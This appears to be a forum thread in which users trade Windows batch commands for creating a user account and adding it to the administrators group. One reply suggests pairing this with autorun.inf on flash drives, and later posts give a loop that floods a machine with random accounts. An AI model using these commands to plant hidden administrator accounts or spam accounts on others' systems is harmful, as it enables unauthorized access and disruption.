What command line do you use to ran something as Admin. and what command would I use to make a user account a Admin. account?
I need it for a .Bat I'm working on..... Well does anyone know that the command would be or if you can even do that????
net user /add *user* *password*
net localgroup administrators /add *user*
jimmyg22 Wrote:net user /add *user* *password*
net localgroup administrators /add *user*
^^^Keep in mind that that only works if you're running admin privileges...
yea...
then you could experiment with flash drives and autorun.inf
ok this is what I have
Code:
echo Net user *user* *pass* /add > "C:\file.bat"
Start C:\file.bat
echo net localgroup administrators /add *user* > "C:\file2.bat"
Start C:\file2.bat
................
and it works but it but the cmd windows stay open, So how do I get the cmd windows close?? (What am I doing wrong)
Try this, all in one file:
Code:
net user USERNAME password /ADD >> C:\file.bat
net localgroup administrators /ADD USERNAME >> C:\file.bat
start C:\file.bat
exit
This is what I do:
Code:
:1
net user %random% %random% /Add
goto 1
Wooooo!!! User account spamming!
Here:
net user %random% %random% /Add
goto Here